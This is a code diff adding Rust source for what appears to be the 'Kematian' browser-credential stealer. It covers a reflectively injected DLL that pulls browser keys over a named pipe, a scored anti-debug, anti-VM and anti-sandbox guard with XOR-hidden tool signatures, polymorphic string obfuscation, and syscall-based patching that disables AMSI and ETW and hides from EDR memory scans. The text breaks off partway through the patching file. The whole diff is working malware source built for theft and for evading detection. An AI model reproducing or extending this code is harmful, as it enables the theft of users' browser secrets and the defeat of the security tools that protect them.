tool +//! — the guard reports `false` and the payload refuses to start its worker. +//! +//! All detection strings are XOR-encrypted at compile time and only materialized +//! on the stack at the moment of the check, so traces of what the guard is +//! looking for do not sit in `.rodata` as plaintext. +//! +//! The guard is deliberately *defensive*: each check is independent and a few +//! false positives are tolerated (a score system, not a single hard kill), so a +//! real user on a clean machine still runs, while analysis environments that +//! trip many signals are dropped. + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::abi; +use crate::antihook; +use crate::antisbx; +use crate::antivm; +use crate::apires; +use crate::dynapi; +use crate::flow; +use crate::gen; +use crate::obf; +use crate::sleep; +use crate::syscall; + +// --------------------------------------------------------------------------- +// Encrypted string helpers +// --------------------------------------------------------------------------- + +/// ASCII-lowercase a byte slice. +fn lower(b: &[u8]) -> Vec { + b.iter().map(|c| c.to_ascii_lowercase()).collect() +} + +/// Case-insensitive substring match on bytes. +fn contains(hay: &[u8], needle: &[u8]) -> bool { + if needle.is_empty() || hay.len() < needle.len() { + return false; + } + hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle)) +} + +// --------------------------------------------------------------------------- +// Anti-debug +// --------------------------------------------------------------------------- + +/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02). +#[inline] +unsafe fn peb_being_debugged() -> bool { + let peb: usize; + asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); + let being = ptr::read_volatile((peb + 0x02) as *const u8); + being != 0 +} + +/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that +/// remain set for the process lifetime (heap flags: 0x70). +#[inline] +unsafe fn peb_nt_global_flag() -> bool { + let peb: usize; + asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); + let flags = ptr::read_volatile((peb + 0xBC) as *const u32); + // FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | + // FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER + const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40; + flags & HEAP_FLAGS == HEAP_FLAGS +} + +/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static +/// import). Returns true if a debugger is listening on the debug port. +unsafe fn nt_debug_port() -> bool { + apires::dyn_query_debug_port() +} + +/// Check the debug heap on the current process handle (kernel32, resolved at +/// runtime so it doesn't appear in the import table). +unsafe fn remote_debugger_present() -> bool { + apires::dyn_check_remote_debugger() +} + +/// Timing check: RDTSC must tick at a sane rate. Stepping through the code +/// under a breakpoint dramatically inflates the delta. +#[inline] +unsafe fn rdtsc() -> u64 { + let mut lo: u32; + let mut hi: u32; + asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags)); + ((hi as u64) << 32) | lo as u64 +} + +unsafe fn timing_sane() -> bool { + let a = rdtsc(); + let mut sink: u64 = 0; + for i in 0..2000u64 { + sink ^= i.wrapping_mul(0x9E37_79B9); + } + let b = rdtsc(); + let _ = sink; + // Single-stepping / breakpoints insert far more cycles than a real loop. + b.wrapping_sub(a) < 500_000 +} + +// --------------------------------------------------------------------------- +// Anti-VM +// --------------------------------------------------------------------------- + +#[repr(C)] +#[derive(Clone, Copy)] +struct MemStatusEx { + dw_length: u32, + dw_memory_load: u32, + ull_total_phys: u64, + ull_avail_phys: u64, + ull_total_page_file: u64, + ull_avail_page_file: u64, + ull_total_virtual: u64, + ull_avail_virtual: u64, + ull_avail_extended_virtual: u64, +} + +/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string +/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen. +unsafe fn cpu_hypervisor() -> bool { + #[inline] + unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) { + let mut a = leaf; + let mut c = sub; + let mut d = 0u32; + let mut b = 0u32; + // rbx is owned by LLVM, so save/restore it across cpuid and capture ebx + // into a general-purpose register operand. + asm!( + "push rbx", + "cpuid", + "mov {tmp:e}, ebx", + "pop rbx", + inout("eax") a, + inout("ecx") c, + out("edx") d, + tmp = lateout(reg) b, + options(nostack, preserves_flags), + ); + (a, b, c, d) + } + + // Hypervisor present? + let (_, _, ecx, _) = cpuid(1, 0); + if ecx & (1 << 31) == 0 { + return false; + } + // Vendor string (12 bytes in EBX:EDX:ECX). + let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0); + let mut v = Vec::with_capacity(12); + for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() { + v.push(*b); + } + let vl = lower(&v); + let key: u8 = gen::K_VENDOR; + let bad: [(obf::Slot, u32); 7] = [ + obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"), + obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"), + obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"), + obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"), + ]; + const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11]; + bad.iter().enumerate().any(|(i, s)| { + let plain = obf::dec_sig(key, s, LENS[i]); + contains(&vl, &plain[..LENS[i]]) + }) +} + +/// SMBIOS firmware string table search. +unsafe fn smbios_firmware() -> bool { + const RSMB: u32 = 0x5253_4D42; // 'RSMB' + let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0); + if size == 0 || size > 4 * 1024 * 1024 { + return false; + } + let mut buf = vec![0u8; size as usize]; + let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size); + if got == 0 { + return false; + } + buf.truncate(got as usize); + let bl = lower(&buf); + let key: u8 = gen::K_SMBIOS; + let bad: [(obf::Slot, u32); 6] = [ + obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"), + obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"), + obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"), + ]; + const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5]; + bad.iter().enumerate().any(|(i, s)| { + let plain = obf::dec_sig(key, s, LENS[i]); + contains(&bl, &plain[..LENS[i]]) + }) +} + +/// Ask the OS for key system facts and probe for VM-typical characteristics. +unsafe fn gather_system_quirks() -> bool { + // Low total RAM (< 2GB) is common in thin sandboxes. + let mut ms = MemStatusEx { + dw_length: std::mem::size_of::() as u32, + dw_memory_load: 0, + ull_total_phys: 0, + ull_avail_phys: 0, + ull_total_page_file: 0, + ull_avail_page_file: 0, + ull_total_virtual: 0, + ull_avail_virtual: 0, + ull_avail_extended_virtual: 0, + }; + if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 { + if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 { + return true; + } + } + + // A single-core / single-thread CPU is a common VM giveaway. + #[repr(C)] + #[derive(Clone, Copy)] + struct SysInfo { + processor_arch: u16, + page_size: u32, + min_app_addr: usize, + max_app_addr: usize, + active_processor_mask: usize, + num_processors: u32, + processor_type: u32, + alloc_granularity: u32, + processor_level: u16, + processor_revision: u16, + } + let mut si: SysInfo = unsafe { std::mem::zeroed() }; + abi::GetSystemInfo(&mut si as *mut _ as *mut c_void); + if si.num_processors <= 1 { + return true; + } + + false +} + +// --------------------------------------------------------------------------- +// Anti-analyze / sandbox +// --------------------------------------------------------------------------- + +unsafe fn process_scan() -> bool { + const TH32CS_SNAPPROCESS: u32 = 0x2; + let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0 || snap == abi::INVALID_HANDLE_VALUE { + return false; + } + + #[repr(C)] + struct PROCESSENTRY32W { + dw_size: u32, + cnt_usage: u32, + th32_process_id: u32, + th32_default_heap_id: usize, + th32_module_id: u32, + cnt_threads: u32, + th32_parent_process_id: u32, + pc_pri_class_base: i32, + dw_flags: u32, + sz_exe_file: [u16; 260], + } + + let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() }; + entry.dw_size = std::mem::size_of::() as u32; + + // Tool-name signatures, XOR keystream so they don't sit in plaintext. + let key: u8 = gen::K_TOKEN; + let tools: [(obf::Slot, u32); 10] = [ + obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"), + obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"), + obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"), + obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"), + obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"), + ]; + const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7]; + + let mut found = false; + if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 { + loop { + let mut name = Vec::with_capacity(520); + for ch in entry.sz_exe_file.iter() { + if *ch == 0 { + break; + } + name.push(*ch as u8); + } + let nl = lower(&name); + for (i, s) in tools.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&nl, &plain[..LENS[i]]) { + found = true; + break; + } + } + if found { + break; + } + if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 { + break; + } + } + } + abi::CloseHandle(snap); + found +} + +/// Probe the running environment for analyst/sandbox environment variables. +/// A handful of well-known sandbox marker variables are checked; if any non-empty +/// value is set the environment is treated as suspicious. +unsafe fn env_probe() -> bool { + let key: u8 = gen::K_ENV; + let mut out = [0u16; 512]; + + // Names are XOR-encrypted so they don't sit in plaintext. + let names: [(obf::Slot, u32); 4] = [ + obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"), + obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"), + ]; + const LENS: [usize; 4] = [4, 13, 8, 10]; + + for (i, s) in names.iter().enumerate() { + let raw = obf::dec_sig(key, s, LENS[i]); + let mut nm: Vec = raw[..LENS[i]].iter().map(|&c| c as u16).collect(); + nm.push(0); + let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512); + if got > 0 && got < 512 { + return true; + } + } + false +} + +// --------------------------------------------------------------------------- +// Anti-dump / memory hardening +// --------------------------------------------------------------------------- + +#[repr(C)] +#[derive(Clone, Copy)] +struct MemoryBasicInfo { + base_address: *mut c_void, + allocation_base: *mut c_void, + allocation_protect: u32, + region_size: usize, + state: u32, + protect: u32, + _type: u32, +} + +const MEM_COMMIT: u32 = 0x1000; +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const PAGE_EXECUTE_WRITECOPY: u32 = 0x80; + +/// Detect a call stack that originates from a suspicious module (a dumper / EDR +/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how +/// many distinct allocation regions are RWX — a process holding many RWX regions +/// is either self-modifying or under an active memory scanner. +unsafe fn suspicious_memory_maps() -> bool { + let mut info: MemoryBasicInfo = std::mem::zeroed(); + let mut addr: usize = 0; + let mut rwx: u32 = 0; + while addr < usize::MAX - 16 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + std::mem::size_of::(), + ); + if got == 0 { + break; + } + if info.state == MEM_COMMIT { + let prot = info.protect & 0xFF; + if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY { + rwx += 1; + } + } + // Advance to next region; a zero-size region means stop. + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + // A healthy process rarely exceeds this; a debugger/dumper allocating scratch + // RWX regions will. Keep the threshold high to avoid false positives. + rwx >= 6 +} + +/// Sweep committed pages and downgrade any writable+executable regions to +/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot +/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect +/// (hash walk) so the guard doesn't import it statically. +unsafe fn harden_image() -> bool { + let mut info: MemoryBasicInfo = std::mem::zeroed(); + let mut addr: usize = 0; + let mut anomaly = false; + let mut down: u32 = 0; + while addr < usize::MAX - 16 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + std::mem::size_of::(), + ); + if got == 0 { + break; + } + if info.state == MEM_COMMIT { + let prot = info.protect & 0xFF; + if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY { + anomaly = true; + if apires::dyn_downgrade_rwx(info.base_address, info.region_size) { + down += 1; + } + } + } + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + let _ = down; + anomaly +} + +/// Block the process from being dumped by a debugger using a debug-flag lock. +/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the +/// static import, so the guard doesn't declare this API in its PE imports. +unsafe fn prevent_dump() -> bool { + // ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is + // being debugged at the kernel level. + match apires::dyn_query_debug_flags() { + Some(flags) => flags == 0, + None => false, + } +} + +/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox. +unsafe fn hooks_detected() -> bool { + antihook::detect_hooks() +} + +/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate. +/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report +/// a refresh rate far below a physical panel. If the refresh rate is at or below +/// the supplied ceiling, the environment is treated as virtual. +/// +/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we +/// allocate a wide buffer and read that offset directly, avoiding the layout +/// pitfalls of the huge union in the real struct. +unsafe fn low_refresh_display(ceiling_hz: u32) -> bool { + let mut dm = [0u8; 240]; + let ok = dynapi::EnumDisplaySettingsW( + ptr::null(), + abi::ENUM_CURRENT_SETTINGS, + dm.as_mut_ptr() as *mut c_void, + ); + if ok == 0 { + return false; + } + // DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at + // +68/+70 tell us how big the returned structure is; only trust the field if + // the driver confirmed at least that far. + let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize; + if dm_size < 176 { + return false; + } + let freq = *(dm.as_ptr().add(176) as *const u32); + freq != 0 && freq <= ceiling_hz +} + +/// Scan attached display devices for a known virtual driver name (RDP / generic +/// Microsoft basic display). Encrypted signature so it isn't plaintext. +unsafe fn virtual_display_driver() -> bool { + // A fixed-size probe device record: we only need the DeviceString up to the + // first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at + // +32). Read via a raw buffer. + let scan: [(obf::Slot, u32); 5] = [ + obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"), + obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"), + obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"), + ]; + const LENS: [usize; 5] = [14, 3, 13, 6, 15]; + + let mut i = 0u32; + while i < 8 { + let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32 + let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0); + if ok == 0 { + break; + } + let mut name: Vec = Vec::with_capacity(256); + for ch in buf.iter().skip(32).take(120) { + if *ch == 0 { + break; + } + name.push(*ch as u8); + } + let nl = lower(&name); + for (idx, s) in scan.iter().enumerate() { + let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]); + if contains(&nl, &plain[..LENS[idx]]) { + return true; + } + } + i += 1; + } + false +} + +// --------------------------------------------------------------------------- +// Score + decision +// --------------------------------------------------------------------------- + +/// Run the full battery. `true` = environment looks hostile → do not start the +/// payload. Score thresholds keep false positives low on clean hosts. +pub fn run() -> bool { + // Initialize syscall numbers and sleep encryption early + unsafe { + syscall::init_syscall_numbers(); + sleep::init_sleep_key(); + } + + let mut score: u32 = 0; + let seed = flow::run_time_nonce(); + + // Per-build polymorphic junk injected into the entry path so the emitted + // bytes (and thus the artifact hash) differ on every build. + flow::junk(); + flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; }); + + // Windows-only signchecks; everything here is x64 Windows. + unsafe { + // --- anti-debug (wrapped in an opaque dispatch so a static analyzer + // can't cleanly pick a side; both arms are cheap) --- + flow::opaque_choice(seed, || { + // --- anti-debug --- + if peb_being_debugged() { + score += 3; + } + if peb_nt_global_flag() { + score += 3; + } + if nt_debug_port() { + score += 3; + } + if remote_debugger_present() { + score += 2; + } + if !timing_sane() { + score += 2; + } + }, || {}); + + // --- anti-VM (comprehensive, 16 vectors) --- + // The antivm module aggregates: CPUID bit + vendor, CPU brand string, + // VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry + // artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly, + // process count, user-input absence, VM DLLs, tool windows, disk + // labels. It returns a cumulative score; map it onto ours with weight. + let avm = antivm::score(); + if avm >= 6 { + score += 5; // overwhelming evidence of virtualization + } else if avm >= 3 { + score += 3; // strong signals + } else if avm >= 1 { + score += 1; // weak/noisy signals only + } + + // Legacy direct checks kept as independent confirmation: + if cpu_hypervisor() { + score += 2; + } + if smbios_firmware() { + score += 1; + } + if gather_system_quirks() { + score += 2; + } + + // --- anti-analyze / sandbox (reliability-focused, corroborated) --- + // The antisbx module uses a tiered model: + // hard: Sleep acceleration / timer tampering — conclusive alone + // strong: identity markers, empty desktop — rare on real machines + // weak: quiet mouse, few windows — only counted with corroboration + let sbx = antisbx::verdict(6, 250); + if sbx.hard { + score += 6; // physically impossible on a clean host + } + if sbx.score >= 6 { + score += 4; // multiple corroborated strong signals + } else if sbx.score >= 3 { + score += 2; + } else if sbx.score >= 1 { + score += 1; + } + + // --- legacy direct checks --- + if process_scan() { + score += 3; + } + if env_probe() { + score += 2; + } + + // --- anti-dump / memory hardening --- + if suspicious_memory_maps() { + score += 3; + } + let _ = harden_image(); // runs regardless; only scores via maps above + if prevent_dump() { + score += 3; + } + + // --- anti-hook (EDR / sandbox hot-patch detection) --- + if hooks_detected() { + score += 3; + } + + // --- anti-VM via display refresh signature --- + // 45 Hz and below: virtual/remote display drivers report this; a physical + // panel is almost never ≤ 45 Hz. Also scan for known virtual driver names. + if low_refresh_display(45) { + score += 3; + } + if virtual_display_driver() { + score += 2; + } + } + + // Threshold: a handful of independent signals means it's an analysis box. + score >= 4 +} + +/// Second-opinion sandbox check intended to be called by the worker thread +/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps, +/// absent user input) become more pronounced over time; transient noise +/// fades. Returns `true` if the environment now looks like a sandbox — +/// the caller should then wind down / exit. +pub fn recheck_sandbox() -> bool { + flow::junk(); + let v = antisbx::verify_second_pass(); + v.hard || v.score >= 3 +} diff --git a/Kematian-Standalone/rust-extractor/src/lib.rs b/Kematian-Standalone/rust-extractor/src/lib.rs new file mode 100644 index 0000000..5677e77 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/lib.rs @@ -0,0 +1,61 @@ +//! recovery-key-extractor — Rust port of the injected browser key extractor. +//! +//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment +//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT` +//! commands over that named pipe. The DLL is reflectively mapped into the +//! browser process by the Go injector, which starts a thread on the exported +//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the +//! image, resolves imports and relocations, and finally invokes `DllMain`. + +#![allow(clippy::missing_safety_doc)] +#![allow(non_snake_case)] + +mod abi; +mod antihook; +mod antisbx; +mod antivm; +mod apires; +mod dynapi; +mod flow; +mod gen; +mod guard; +mod obf; +mod patch; +mod payload; +mod reflective; +mod sleep; +mod syscall; + +use core::ffi::c_void; + +const DLL_PROCESS_ATTACH: u32 = 1; + +#[unsafe(no_mangle)] +pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 { + if reason == DLL_PROCESS_ATTACH { + unsafe { + let _ = abi::DisableThreadLibraryCalls(h_instance as usize); + } + // Guard first: if the environment looks like a debugger / VM / sandbox / + // analysis box, refuse to run the payload. Only spawn the worker on a + // clean host. + if guard::run() { + return 1; + } + // Defense patches: ETW silence, AMSI neuter, instrumentation-callback + // clear. Applied via direct syscalls; wrapped in junk to break + // signature alignment at DllMain. + flow::junk(); + let _ = patch::apply_all(); + payload::on_attach(reserved as *const u16); + } + 1 +} + +/// Reflective loader entry point. The Go injector resolves this export by name +/// and starts a thread on it inside the target process. +#[unsafe(no_mangle)] +#[inline(never)] +pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize { + reflective::loader_impl(lpParameter) +} diff --git a/Kematian-Standalone/rust-extractor/src/obf.rs b/Kematian-Standalone/rust-extractor/src/obf.rs new file mode 100644 index 0000000..913a50b --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/obf.rs @@ -0,0 +1,91 @@ +//! Strong string obfuscation: position-dependent XOR keystream with per-string +//! nonces and compile-time entropy. +//! +//! Unlike a single fixed-XOR, every byte is combined with its own keystream +//! byte derived from `key`, `index`, and a nonce through a 4-round Feistel +//! avalanche, so the ciphertext carries no repeating pattern and a plaintext +//! signature never survives in `.rodata`. +//! +//! The encode happens at compile time in `const` context; the decode runs at +//! runtime on the stack, and only the materialized buffer ever exists in memory +//! briefly. Keystream is invertible so encode == decode. +//! +//! API: +//! - `sig(key, nonce, plain)` → `(Slot, nonce)` bundle at compile time +//! - `dec_sig(key, sig, len)` → plaintext buffer at runtime + +/// Maximum supported string length (covers all current use cases). +pub const MAX_LEN: usize = 64; + +/// Fixed-width encrypted slot. +pub type Slot = [u8; MAX_LEN]; + +/// Keystream byte using a 4-round Feistel-style avalanche so nearby positions +/// and similar keys/nonces produce wildly different output. +/// +/// The avalanche constants are folded with per-build values from `gen` so the +/// keystream arithmetic *itself* differs between artifacts — a scanner cannot +/// decrypt `.rodata` slots with the published constant set. +#[inline(always)] +const fn ks_byte(key: u8, i: usize, nonce: u32) -> u8 { + // Per-build mix: changes every artifact's ciphertext AND the algorithm's + // emitted arithmetic, breaking cross-sample signatures. + let s = crate::gen::GEN_SEED ^ crate::gen::CFF_KEY; + let m1 = 0x9E37_79B9u32 ^ (crate::gen::GEN_SEED & 0xFFFF); + let m2 = 0x5D58_85A9u32 ^ ((crate::gen::CFF_KEY >> 16) & 0xFFFF); + let m3 = 0x7F4A_7C15u32 ^ (crate::gen::GEN_SEED >> 16); + let m4 = 0x85EBCA6Bu32 ^ (crate::gen::CFF_KEY & 0xFFFF); + + let mut x = (key as u32) + .wrapping_add((i as u32).wrapping_mul(m1)) + .wrapping_add(nonce) + .wrapping_add(i as u32) + .wrapping_add(s); + + // Round 1 + x ^= x >> 13; + x = x.wrapping_mul(m2); + // Round 2 + x ^= x >> 16; + x = x.wrapping_mul(m3); + // Round 3 + x ^= x << 7; + x = x.wrapping_mul(m1 ^ 0x7F4A_7C15); + // Round 4 + x ^= x >> 11; + x = x.wrapping_mul(m4); + + (x & 0xFF) as u8 +} + +/// Compile-time encrypt `plain` into a `Slot` (zeros beyond `len`). +pub const fn enc(key: u8, nonce: u32, plain: &[u8]) -> Slot { + let mut out = [0u8; MAX_LEN]; + let mut i = 0; + while i < plain.len() && i < MAX_LEN { + out[i] = plain[i] ^ ks_byte(key, i, nonce); + i += 1; + } + out +} + +/// A signature bundled with its own keystream nonce, so encryption and +/// decryption always agree no matter where the list is defined. +pub const fn sig(key: u8, nonce: u32, plain: &[u8]) -> (Slot, u32) { + (enc(key, nonce, plain), nonce) +} + +/// Decrypt a `(Slot, nonce)` signature to `len` bytes. +pub fn dec_sig(key: u8, s: &(Slot, u32), len: usize) -> [u8; MAX_LEN] { + dec(key, s.1, &s.0, len) +} + +/// Runtime decrypt a `Slot` in place, returning the plaintext (up to `len`). +pub fn dec(key: u8, nonce: u32, slot: &Slot, len: usize) -> [u8; MAX_LEN] { + let mut out = [0u8; MAX_LEN]; + let n = len.min(MAX_LEN); + for i in 0..n { + out[i] = slot[i] ^ ks_byte(key, i, nonce); + } + out +} diff --git a/Kematian-Standalone/rust-extractor/src/patch.rs b/Kematian-Standalone/rust-extractor/src/patch.rs new file mode 100644 index 0000000..8cc3d53 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/patch.rs @@ -0,0 +1,483 @@ +//! Userland defense patches: ETW, AMSI, instrumentation callbacks. +//! +//! All memory modifications go through our own direct-syscall +//! NtProtectVirtualMemory — never the hooked kernel32 path. +//! +//! Modern (2023+) evasion notes: +//! - **Fixed byte-stubs are dead.** `xor eax,eax; ret` on EtwEventWrite and +//! the classic 14-byte AmsiScanBuffer stub are public, signature-scanned +//! patterns. Every stub here is *metamorphic*: several functionally +//! identical templates with different register allocation / encodings, +//! selected per-build from `gen`, so the patched bytes never match a +//! published signature. +//! - **Layer, don't rely on one target.** AMSI: AmsiScanBuffer (primary) +//! + AmsiOpenSession (sessions fail). ETW: EtwEventWrite (primary) + +//! EtwEventEnabled→FALSE (providers think they're disabled) + NtTraceEvent +//! (deep cut) + EtwEventRegister (silent success). +//! - **Sleep-evasion.** Memory-scanning EDRs inspect code sections while the +//! implant sleeps. We restore original bytes before `secure_sleep` and +//! re-apply afterwards (`suspend_all`/`resume_all`). + +#![allow(dead_code)] + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::apires; +use crate::flow; +use crate::gen; +use crate::syscall; +use crate::syscall::{r as unmask, HASH_KEY}; + +// Verified ror-hashes (stored XORed with HASH_KEY; unmasked via syscall::r). +use crate::syscall::{ + HASH_AMSI_SCAN_BUFFER, + HASH_ETW_EVENT_WRITE, + HASH_ETW_EVENT_REGISTER, + HASH_NTTRACE_EVENT, + HASH_MODULE_AMSI, +}; + +// ror-hash of "AmsiOpenSession" (0xF27C009B) / "EtwEventEnabled" (0x93C4008A). +const HASH_AMSI_OPEN_SESSION: u32 = 0xF27C_009B ^ HASH_KEY; +const HASH_ETW_EVENT_ENABLED: u32 = 0x93C4_008A ^ HASH_KEY; + +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const PAGE_EXECUTE_READ: u32 = 0x20; + +// --------------------------------------------------------------------------- +// Patch bookkeeping (for sleep-evasion restore) +// --------------------------------------------------------------------------- + +/// Saved original bytes of each patched site so they can be restored. +struct PatchSite { + addr: usize, + len: usize, + original: [u8; 32], + /// true once the original bytes have been captured (survives suspend). + primed: bool, + /// true while our stub is currently applied. + active: bool, +} + +static mut SITES: [PatchSite; 8] = [ + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, +]; + +static mut SITE_NEXT: usize = 0; + +/// Find an existing site for `addr` (survives suspend/resume cycles), else +/// reserve a fresh slot. +unsafe fn find_or_alloc_site(addr: usize, len: usize) -> Option { + for i in 0..SITES.len() { + if SITES[i].addr == addr { + return Some(i); + } + } + let mut slot = SITE_NEXT; + for _ in 0..SITES.len() { + let s = &mut SITES[slot]; + if s.addr == 0 { + s.addr = addr; + s.len = len; + SITE_NEXT = (slot + 1) % SITES.len(); + return Some(slot); + } + slot = (slot + 1) % SITES.len(); + } + None +} + +/// Capture the pristine bytes the first time a site is patched. On later +/// resume cycles the originals are already stored, so this is skipped. +unsafe fn snapshot(slot: usize) { + let s = &mut SITES[slot]; + if s.primed { + return; + } + for i in 0..s.len.min(32) { + s.original[i] = ptr::read_volatile((s.addr + i) as *const u8); + } + s.primed = true; +} + +/// Write bytes to a (code) address, flipping protection via direct syscall. +/// Optionally records the site for later restore. +unsafe fn patch_memory(addr: usize, bytes: &[u8], save_for_restore: bool) -> bool { + if addr == 0 { + return false; + } + let mut slot: Option = None; + if save_for_restore { + slot = find_or_alloc_site(addr, bytes.len()); + if let Some(s) = slot { + snapshot(s); + SITES[s].active = true; + } + } + + let mut base = addr as *mut c_void; + let mut size = bytes.len(); + let mut old: u32 = 0; + + let st = syscall::sys_nt_protect_virtual_memory( + abi_current_process(), + &mut base, + &mut size, + PAGE_EXECUTE_READWRITE, + &mut old, + ); + if st != 0 { + if let Some(s) = slot { + SITES[s].active = false; + } + return false; + } + + ptr::copy_nonoverlapping(bytes.as_ptr(), addr as *mut u8, bytes.len()); + + let mut tmp: u32 = 0; + let _ = syscall::sys_nt_protect_virtual_memory( + abi_current_process(), + &mut base, + &mut size, + old.max(PAGE_EXECUTE_READ), + &mut tmp, + ); + + flush_icache(addr, bytes.len()); + true +} + +#[inline] +unsafe fn flush_icache(_addr: usize, _len: usize) { + asm!("lfence", options(nostack, preserves_flags)); +} + +#[inline] +fn abi_current_process() -> usize { + usize::MAX // (HANDLE)-1 pseudo-handle +} + +/// Restore all recorded patch sites to their original bytes and mark them +/// inactive (so resume_all can 